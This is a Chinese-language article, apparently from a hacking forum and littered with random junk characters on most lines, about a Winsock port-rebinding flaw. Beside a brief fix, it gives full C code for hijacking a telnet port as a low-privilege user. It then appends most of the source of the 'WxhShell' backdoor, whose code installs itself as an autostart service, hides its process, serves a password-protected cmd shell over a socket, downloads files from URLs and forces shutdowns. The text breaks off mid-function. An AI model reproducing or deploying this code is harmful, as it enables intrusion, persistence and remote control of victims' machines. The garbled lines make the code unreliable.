在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
`Nn=6[] s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5-M EOy( 6fhH)]0 saddr.sin_family = AF_INET;
n*6Oa/JG7 t@[&8j2B> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,y}?Z8?63 ~ztsR;iL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
@vdBA hXk bT<if@h- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
-y70-K3 eXY*l>B 这意味着什么?意味着可以进行如下的攻击:
&FF%VUfQJ luYkC@I@a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.5*h']iFr1 `0Y`]kSY+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+:3K?G- =&RpW7] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
FS7 _ldD .}n%gc~A 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
;/w-7O: 68
%=
V>V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
j^#4!Ue wQ
/IT}- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
P,-f]k[_ ?ACflU_k 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4RCD<7 ]n9o=^q/ #include
J jRz<T; #include
]v&)mK]n=o #include
U.]5UP:a #include
#=mLQSiQ DWORD WINAPI ClientThread(LPVOID lpParam);
xj8yQ Y1 int main()
P;_}nbB {
\c1u$'| v WORD wVersionRequested;
$+CKy> DWORD ret;
IE7%u92 WSADATA wsaData;
7kX;|NA1 BOOL val;
M0Y#=u. SOCKADDR_IN saddr;
>yk@t&j, SOCKADDR_IN scaddr;
GCaiogiBg int err;
d:C|laZHn SOCKET s;
iNj*Gj SOCKET sc;
~6YTm6o int caddsize;
oYOR%'0*m+ HANDLE mt;
/Kcp9Qx DWORD tid;
>&pB&'A a wVersionRequested = MAKEWORD( 2, 2 );
%d-|C. err = WSAStartup( wVersionRequested, &wsaData );
7A6Qrfw if ( err != 0 ) {
PkM]jbLe8 printf("error!WSAStartup failed!\n");
Z:>)5Z{' return -1;
M_
* KA }
`sW+R= saddr.sin_family = AF_INET;
?|4Y(0N e_U1}{=t //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
\!`k:lusa s{g^K#BoFi saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
v_U+wga saddr.sin_port = htons(23);
O_vCZW
a3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`Hlv*" w$ {
f/"?(7F printf("error!socket failed!\n");
;t6)(d4z? return -1;
Sq<ds}o'8l }
O4`am:@ val = TRUE;
Z+p'3 //SO_REUSEADDR选项就是可以实现端口重绑定的
0eJqDCmH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$TU:iv1Fm {
eMT}"u8$A printf("error!setsockopt failed!\n");
V
LXU return -1;
\S5YS2,P }
]2zzY::Sd= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
9:\#GOg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Nqy)jfyex //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
B}?$kp r<)>k.]
! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FdwlRu G {
(~k{aO ret=GetLastError();
P3e}G-Oz printf("error!bind failed!\n");
^RIDC/B=V6 return -1;
GkU]>8E'" }
OYYk[r listen(s,2);
1uwzo9Yg while(1)
"gIjU~'A {
P<E!ix caddsize = sizeof(scaddr);
n0
q$/Y. //接受连接请求
"|,;~k1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
g&]n:qx if(sc!=INVALID_SOCKET)
}57d3s {
1EmZ/@k/Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[TaYNc!\ if(mt==NULL)
o[Gp *o\ {
+M s`C)f printf("Thread Creat Failed!\n");
}L|cg2y break;
}f;cA }
26[. te9 }
h.t2 ;O, b CloseHandle(mt);
35}]U= }
ZHN}:W/p closesocket(s);
-~+Y0\%E WSACleanup();
a +lTAe return 0;
@%[ dh@oY }
QnMN8Q9 DWORD WINAPI ClientThread(LPVOID lpParam)
^MczumG[ {
2EAY`}Rl6. SOCKET ss = (SOCKET)lpParam;
K0 6 E: SOCKET sc;
UmNh0nS unsigned char buf[4096];
g[D`. SOCKADDR_IN saddr;
}"\jB long num;
u^X,ASkQ DWORD val;
a?
<Ar#)j DWORD ret;
eb*w$|y6" //如果是隐藏端口应用的话,可以在此处加一些判断
n38l!m(. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
6Gj69Lr saddr.sin_family = AF_INET;
0s2@z5bfX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
R=m9[TgBm saddr.sin_port = htons(23);
~i5t1 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=N?K)QD` {
;n2b$MB?nM printf("error!socket failed!\n");
WoSJp5By$ return -1;
iS#m{1m$$ }
{0J
(=\u val = 100;
\!J9| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]
RLEyDB {
_[p@V_my ret = GetLastError();
O{&wqV5m" return -1;
7a#zr_r }
B,NHy
C1i if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~'u %66 {
TM*<hC ret = GetLastError();
<&87aDYz return -1;
j"J[dlm2M }
^BN?iXQhN if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
K[Ao_v2g {
=>u9k:('9 printf("error!socket connect failed!\n");
];7/DM#Np closesocket(sc);
X)^&5;\` closesocket(ss);
\CK f/:" return -1;
a";xG,U }
!<AY0fpY while(1)
g|
M@/Dl {
^hIKDc!.m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
EwuBL6kN //如果是嗅探内容的话,可以再此处进行内容分析和记录
eT ZQ[qMp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
lKA2~ o num = recv(ss,buf,4096,0);
$@}\T if(num>0)
ZnXq+^Z4 send(sc,buf,num,0);
jPyhn8Vw else if(num==0)
#h~v(Z} break;
[*2|#KSCX num = recv(sc,buf,4096,0);
2I
qvd if(num>0)
%>)&QZig/ send(ss,buf,num,0);
$ 8WJ$73 else if(num==0)
f^D4aEU break;
C+<z;9` }
}29Cm$p closesocket(ss);
N^U<;O?YDW closesocket(sc);
$P7G,0- return 0 ;
H>Ws)aCq }
lk. ; }rbsarG@ 1Yb9ILX[J ==========================================================
BdYl
sYp > qDHb' 下边附上一个代码,,WXhSHELL
"YQ%j+ ^{(i;IVG ==========================================================
5^GFN*poig !tr
/$ #include "stdafx.h"
.0H!B#9 F)Qj<6 #include <stdio.h>
,`nl";Zc #include <string.h>
qW(_0<E #include <windows.h>
$KGpcl #include <winsock2.h>
mzoNXf:x #include <winsvc.h>
/c9%|<O% #include <urlmon.h>
/*2sg>e'QF cQ<* (KU #pragma comment (lib, "Ws2_32.lib")
Xy'qgK? #pragma comment (lib, "urlmon.lib")
\y*,N^w u ukH?O)0O #define MAX_USER 100 // 最大客户端连接数
*iW$>Yjb #define BUF_SOCK 200 // sock buffer
M!E#T-) #define KEY_BUFF 255 // 输入 buffer
|Je+y;P7 M_monj}Z #define REBOOT 0 // 重启
kFi^P~3D[ #define SHUTDOWN 1 // 关机
J&jNONu? my(yN| #define DEF_PORT 5000 // 监听端口
9b}AZ]$ xB&6f") #define REG_LEN 16 // 注册表键长度
.wv!; #define SVC_LEN 80 // NT服务名长度
va_TC!{; W2([vRT // 从dll定义API
ok+-#~VTn typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
avI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&ivPY typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
}bxx]rDl typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`+go|
5N2 Q8sCI An{ // wxhshell配置信息
%=O$@.%Zc struct WSCFG {
HxmCKW! int ws_port; // 监听端口
av*M# char ws_passstr[REG_LEN]; // 口令
gc6T`O-_; int ws_autoins; // 安装标记, 1=yes 0=no
0XNj!^& char ws_regname[REG_LEN]; // 注册表键名
T2$V5RyX char ws_svcname[REG_LEN]; // 服务名
.Iret: char ws_svcdisp[SVC_LEN]; // 服务显示名
!agtgS$qII char ws_svcdesc[SVC_LEN]; // 服务描述信息
8;r7ksE~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q,
!b int ws_downexe; // 下载执行标记, 1=yes 0=no
>5|;8v-r
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
x#
&ZGFr~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
A t#'q>Dn V^^nJs
tV };
`Wf)qMb Nu%JI6&R // default Wxhshell configuration
|UO&18Y7- struct WSCFG wscfg={DEF_PORT,
dGb]`* E "xuhuanlingzhe",
?-e'gC 1,
b@&ydgmaQ "Wxhshell",
43?J~}<Vs "Wxhshell",
+J~q:b. "WxhShell Service",
XS'0fq a "Wrsky Windows CmdShell Service",
D(]])4 "Please Input Your Password: ",
oQvG3(. 1,
xedbr "
http://www.wrsky.com/wxhshell.exe",
h""a#n)q}` "Wxhshell.exe"
@e/40l|X };
t/baze;V %Jr6pmc // 消息定义模块
= +uUWJ&1G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?+bDFM} char *msg_ws_prompt="\n\r? for help\n\r#>";
[-bT_X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1Jx|0YmO char *msg_ws_ext="\n\rExit.";
wPl!}HNf char *msg_ws_end="\n\rQuit.";
o5N];Nj char *msg_ws_boot="\n\rReboot...";
8;YN`S!o char *msg_ws_poff="\n\rShutdown...";
vkXdKL(q char *msg_ws_down="\n\rSave to ";
Va1 eG]jQ L/.$0@$bv char *msg_ws_err="\n\rErr!";
mmVx',k char *msg_ws_ok="\n\rOK!";
z
<"7vR h4GR:` char ExeFile[MAX_PATH];
2Q,8@2w; int nUser = 0;
:K3nJ1G& HANDLE handles[MAX_USER];
c9dH ^t int OsIsNt;
E!4Qc+. Q1Jkt SERVICE_STATUS serviceStatus;
:q2tda SERVICE_STATUS_HANDLE hServiceStatusHandle;
cJ%u&2J_ .+H8c. // 函数声明
='7n int Install(void);
USnKj_e int Uninstall(void);
.bm#|X)RO int DownloadFile(char *sURL, SOCKET wsh);
l_!.yV{ int Boot(int flag);
U/B1/96lJ void HideProc(void);
$rySz7NI int GetOsVer(void);
^;2dZgJ4^ int Wxhshell(SOCKET wsl);
<N %8"o void TalkWithClient(void *cs);
\Mv8pU int CmdShell(SOCKET sock);
o%Lk6QA$ int StartFromService(void);
Z:#-4CiP int StartWxhshell(LPSTR lpCmdLine);
"Q~6cH[# |f^/((:D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
27vLI~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
3mIX9&/ 3:rH1vG.m // 数据结构和表定义
j/bebR}X SERVICE_TABLE_ENTRY DispatchTable[] =
-ANp88a {
c
25wm\\ {wscfg.ws_svcname, NTServiceMain},
W?"Z>tgp {NULL, NULL}
N
b(f };
&/J[P dSb$ lHpo/R: // 自我安装
[)`9euR% int Install(void)
*|x2"?d-F: {
C.{*|#&GAt char svExeFile[MAX_PATH];
icF -`m HKEY key;
P'D~Y#^ strcpy(svExeFile,ExeFile);
Y"mD)\Bw? =L$};ko // 如果是win9x系统,修改注册表设为自启动
rbnu:+! if(!OsIsNt) {
UcMe("U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
aW3yl}`{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
oOuhbFu RegCloseKey(key);
1;ulqO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i4.s_@2Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
g
S;p:: RegCloseKey(key);
u pf7:gk + return 0;
{MKq
Yl{ }
2I:vie
}
b9(d@2MtK }
#3$U&|` else {
%2<chq &L-y1'i=j // 如果是NT以上系统,安装为系统服务
0.nS306
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
q+32|k>) if (schSCManager!=0)
)\uy 0+b {
^Y xqJy SC_HANDLE schService = CreateService
?Z]}G (
o><~ .T=d& schSCManager,
_c%]RE wscfg.ws_svcname,
n(a7%Hx2 wscfg.ws_svcdisp,
F5%-6@= SERVICE_ALL_ACCESS,
MUNeGqv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
qTiUha9 SERVICE_AUTO_START,
TUZ-4{kV" SERVICE_ERROR_NORMAL,
-(>x@];r0 svExeFile,
B| %=<1? NULL,
amGQ!$]
%# NULL,
VVJhQ bP NULL,
C9Fc(Y?_ NULL,
"Q+'lA[} NULL
2s
EdN$O );
IqEY.2KN if (schService!=0)
Tm_vo- {
E]_lYYkA CloseServiceHandle(schService);
&I?1(t~hT CloseServiceHandle(schSCManager);
7(~^6Ql! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"twV3R strcat(svExeFile,wscfg.ws_svcname);
@?K(+BGi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Bl' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
v>g1\yIw RegCloseKey(key);
Y_%\kM?7 return 0;
AY0o0\6cw }
f9JD_hhP' }
&}w,bG$ CloseServiceHandle(schSCManager);
Q=gVxS }
{Y'DUt5j }
RgQ\Cs24Q \,JRNL& return 1;
/Os)4yH\ }
sXl7 h=4m2m // 自我卸载
xVKx#X9yk int Uninstall(void)
>Z|4/PF {
)TyL3Z\>( HKEY key;
D2>EG~xWq %dL|i2+*8 if(!OsIsNt) {
"=|yM~V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_J
RegDeleteValue(key,wscfg.ws_regname);
X\$|oiR RegCloseKey(key);
[ne4lWaE<y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jRB:o?S RegDeleteValue(key,wscfg.ws_regname);
cY#TH|M RegCloseKey(key);
~AK!_EOs` return 0;
3 %dbfT j }
d&?B/E^ }
GWA_,/jS% }
fylW)W4C else {
|fTQ\q]W r9s1\7]x SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
K(6=) if (schSCManager!=0)
\s<iM2]Kl {
G~4 ^`[elB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
N3r{|Bu if (schService!=0)
I U4[}x {
;=)CjC8) if(DeleteService(schService)!=0) {
R,Tw0@{O* CloseServiceHandle(schService);
,3GM'e{hV CloseServiceHandle(schSCManager);
w^`n return 0;
|}q0G~l }
d-N<VVcy\ CloseServiceHandle(schService);
])~*)I~Y }
Q6%m}R CloseServiceHandle(schSCManager);
D9H|]W ~ }
<ze'o.c }
C)#:zv m aQFYSl return 1;
MQ\:/]a }
2E2J=Do 6tG9PG98q9 // 从指定url下载文件
uaJ5'* int DownloadFile(char *sURL, SOCKET wsh)
A7|"0*62 {
pb E`Eq HRESULT hr;
S*#y7YKI char seps[]= "/";
30<dEoF char *token;
"-<u.$fE char *file;
!k<+-Lf:2 char myURL[MAX_PATH];
Jz%&-e3 char myFILE[MAX_PATH];
:?RK>}4|F S~Q7>oNm strcpy(myURL,sURL);
Z/beROW ) token=strtok(myURL,seps);
wM!QU{Lz while(token!=NULL)
sSD(mO<( {
IUc!nxF# file=token;
3\mFK$#sr token=strtok(NULL,seps);
i,4JS,82I }
@4$F%[g
h G =< KAJ GetCurrentDirectory(MAX_PATH,myFILE);
SC|cCK hqi strcat(myFILE, "\\");
M9f*7{c strcat(myFILE, file);
u%}vTCg*p send(wsh,myFILE,strlen(myFILE),0);
)[nzmL*w send(wsh,"...",3,0);
sUbZVPDr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RE"}+D if(hr==S_OK)
gscsB4< return 0;
ZklidHL'); else
T_Y 6AII return 1;
79x^zqLb *^.b}K% }
-BoN}xE4 I}k!i+Yl // 系统电源模块
&|{ K*pNa int Boot(int flag)
6f1;4Jfp {
*ZaK+ B HANDLE hToken;
g_n=vO('X TOKEN_PRIVILEGES tkp;
OvK_CN{ C|!E'8Rw if(OsIsNt) {
bjQfZT( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
89 fT?tT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]L&_R^ tkp.PrivilegeCount = 1;
(V=lK6WQm tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
O
_1}LS! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/#,<>EfT if(flag==REBOOT) {
8d$~wh if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
*$l8H[ return 0;
r2sog{R }
dOiy[4s else {
)Fm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sgB3i`_M return 0;
j 6v +S }
&F.lo9JJ }
>eUAHmXQ| else {
~^5uOeTZ~ if(flag==REBOOT) {
zcZr
)Oh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
K8ThZY% return 0;
Ak}l6{ .. }
`L;I/Hp else {
9L&AbmIr if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s{iYf : return 0;
BO
h }
t"BpaA^gO }
Hss{Sb( RNt3az return 1;
"+XO[WGc }
+ubO-A? 9f"6Jw@F // win9x进程隐藏模块
j:sac*6m void HideProc(void)
nK96A.B%p {
3IJIeG> uP*>-s'm HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
"?S#vUS+ 2 if ( hKernel != NULL )
qrOTb9&y {
foJ|Q\Z,T pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
KM\`,1?x92 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
f%|g7[ FreeLibrary(hKernel);
GuS3O)6Sg }
.OWIlT4K *aT!|; return;
`\.n_nM }
0`qq"j[6a W&p-Z"=) // 获取操作系统版本
j?8E >tM int GetOsVer(void)
_@RW7iP> {
cdGl[dQ/ OSVERSIONINFO winfo;
0 /H1INve winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1zp,Suv GetVersionEx(&winfo);
}h]:I'R! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6 8_UQ. return 1;
)0'O!O else
<A6<q&g|E return 0;
"3>#[o }
5VPuHY2 6>vj({,1Y* // 客户端句柄模块
0<Pe~i_= int Wxhshell(SOCKET wsl)
@ ?%"nK {
mC93
&0 SOCKET wsh;
Q;^([39DI struct sockaddr_in client;
y-Ol1R3:c# DWORD myID;
hZJ Nh,,w /3c1{%B\ while(nUser<MAX_USER)
^#Z(&/5f0 {
IM@Qe|5 int nSize=sizeof(client);
LvA IAknc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
H R
V/ A if(wsh==INVALID_SOCKET) return 1;
>:Oo[{) gM=~dBz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
fcBSs\\C~ if(handles[nUser]==0)
y1AS^' closesocket(wsh);
^1nf|Xj[ else
WW_X:N~~e\ nUser++;
c,-< 4e }
nh8h?&q| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]v#T'<Nl 6zI?K4o return 0;
?IWLl }
L NE]#8ue {&4qknPd% // 关闭 socket
Z?@07Y[|K void CloseIt(SOCKET wsh)
Q^F-8 {
ilHj%h*z closesocket(wsh);
hFjW.~B nUser--;
@Ab<I ExitThread(0);
v>e4a/ }
+HcH]D; m[7a~-3:J // 客户端请求句柄
$i2gOz void TalkWithClient(void *cs)
IQ~()/;3d {
>/n/n{{ w5|"cD#8A SOCKET wsh=(SOCKET)cs;
vTP_vsdeG char pwd[SVC_LEN];
)a6i8b3 char cmd[KEY_BUFF];
|On6?5((e char chr[1];
mPh; int i,j;
LnL<WI*Pq fU8;CZnx while (nUser < MAX_USER) {
<zUmcZ TRiB|b]8Q# if(wscfg.ws_passstr) {
+GGj*sD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\"*l:x-u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'nLv0.7* //ZeroMemory(pwd,KEY_BUFF);
Gah e-%J i=0;
Kfr?sX while(i<SVC_LEN) {
N" 8o0> aL`pvsnF // 设置超时
t3WlVUtq3 fd_set FdRead;
L\B+j+~ struct timeval TimeOut;
]x Kmz FD_ZERO(&FdRead);
YA|*$$ FD_SET(wsh,&FdRead);
EHb:(|UA%8 TimeOut.tv_sec=8;
PNG'"7O TimeOut.tv_usec=0;
8[Qw8z5- int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
W%wS+3Q/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2sTyuH. nxJhK
T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
v{jl)?`~w pwd
=chr[0]; ?L
$KlF Y
if(chr[0]==0xd || chr[0]==0xa) { M aEh8*
pwd=0; Vz,WPm$I
break; WGO=@jkf
} RHBEC@d[}
i++; FJ!>3V;}
} 4VooU [Ka(
FD6|>G
// 如果是非法用户,关闭 socket x=Ru@n K;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1TVTP2&Rd
} oT_,k}L IX
OW.ckYt%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l nZ=< T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vKW%l
W,<Vr2J[
while(1) { m&x0,8
C +IXP
ZeroMemory(cmd,KEY_BUFF); 'D-imLV<<
Nhf!;>
// 自动支持客户端 telnet标准 UO&S6M]v7
j=0; ;EJ6C#}
>7
while(j<KEY_BUFF) { 7~65 @&P>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BBx"{~
cmd[j]=chr[0]; s 2$R2,
if(chr[0]==0xa || chr[0]==0xd) { OO$<Wgh
cmd[j]=0; s810714
break; SUx0!_f*R
} E8nqExQ
j++; kz&)a>aA
} W t8 RC
@-m&X2J+c
// 下载文件 -8o8lz
if(strstr(cmd,"http://")) { JE j+>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); J+;.t&5R
if(DownloadFile(cmd,wsh)) aB Yhk|Ei
send(wsh,msg_ws_err,strlen(msg_ws_err),0); + ]__zm/^
else %d>Ktf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "au"\}
} z
XvWo6
else { z[';HJ0O;
ZNUV Bi
switch(cmd[0]) { 0>'1|8+`(z
YcGqT2oLP
// 帮助 =thgNMDm"
case '?': { -0kwS4Hx2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w7
QIKsI0
break; @ NVq
.z
} z!1j8o2
// 安装
V`%m~#Me
case 'i': { 7e40 }n
if(Install()) ~E!"YkIr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )rXP2Z
else kxdLJ_
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ve=0_GR0
break; (zhmZm
} F|PYDC
// 卸载 /0r2v/0
case 'r': { RFZrcM
if(Uninstall()) Q~]R#S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9+/<[w7
else Hp,r
@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2M;{|U
break; mr/^lnO
} 1xx-}AIH#
// 显示 wxhshell 所在路径 T.{I~_
case 'p': { fer'2(G?W
char svExeFile[MAX_PATH]; ]y(#]Tw\
strcpy(svExeFile,"\n\r"); "16==tLFE
strcat(svExeFile,ExeFile); sz)3
z
send(wsh,svExeFile,strlen(svExeFile),0); F;z FKvn
break; D~1nh%x_
} fb#Ob0H
// 重启 {
~Cqb7
case 'b': { jem$R/4"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |S4yol
if(Boot(REBOOT)) 3v {GP>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n,0}K+}
else { 0zEn`rq&
closesocket(wsh); :hevBBP
ExitThread(0); k}BNFv8
} lP@9%L
break; c#l
(~g$D+
} Lb];P"2e+
// 关机 IUZsLNW
case 'd': { eag$i.^aS
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ! g}9xIL
if(Boot(SHUTDOWN)) !q/?t XM!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KN%Xp/lkX
else { Q0r_+0[7j
closesocket(wsh); <}UqtDF 0
ExitThread(0); NZD
X93
} b'ew
Od=
break; xF ,J[Aj
} C ]#R7G
// 获取shell ];< [Cln%
case 's': { E7*]t_p"
CmdShell(wsh); yEz2F3[ S
closesocket(wsh); NfN#q:w1
ExitThread(0); H_$"]iQ
break; ;%%=G;b9
} 8RocObY_W
// 退出 !|`YNsR
case 'x': { =GLsoc-b
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
@P~u k
CloseIt(wsh); |d Soq~Vz
break; >#V8l@IH
} LN7;Yr
// 离开 rL%xl,cn<
case 'q': { lID5mg31
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [szwPNQ_
closesocket(wsh); FUHjY
WSACleanup(); 5[ @4($q8
exit(1); ."H5.'
break; hZ%Ie%~n
} ;/YSQt)rc>
} f[%iRfUFw
} Ya>cGaLq
2 1;n0E
// 提示信息 $D45X<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ; id
} a
@TAUJ,
} &QE* V
VR_1cwKBM
return; *EDzj&
} @c&)K^v8
%i^%D
// shell模块句柄 htkyywv
int CmdShell(SOCKET sock) 7u!p.kN
{ t%=ylEPW
STARTUPINFO si; *rqih_j0
ZeroMemory(&si,sizeof(si)); "PlM{ZI\
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2
{31"
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QGsUG_/_P
PROCESS_INFORMATION ProcessInfo; CwT52+Jb
char cmdline[]="cmd"; {UwJg
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t=U[ ;?
return 0; AU
>d1S.
} gsAcn
U"ga0X5
// 自身启动模式 3"<{YEj8U
int StartFromService(void) O[8Lp?
{ LtNG<n)_BH
typedef struct "3!4 hiU9
{ m6JIq}CMb
DWORD ExitStatus; \;g{qM 8
DWORD PebBaseAddress; A]>0lB
DWORD AffinityMask; @ VJr0
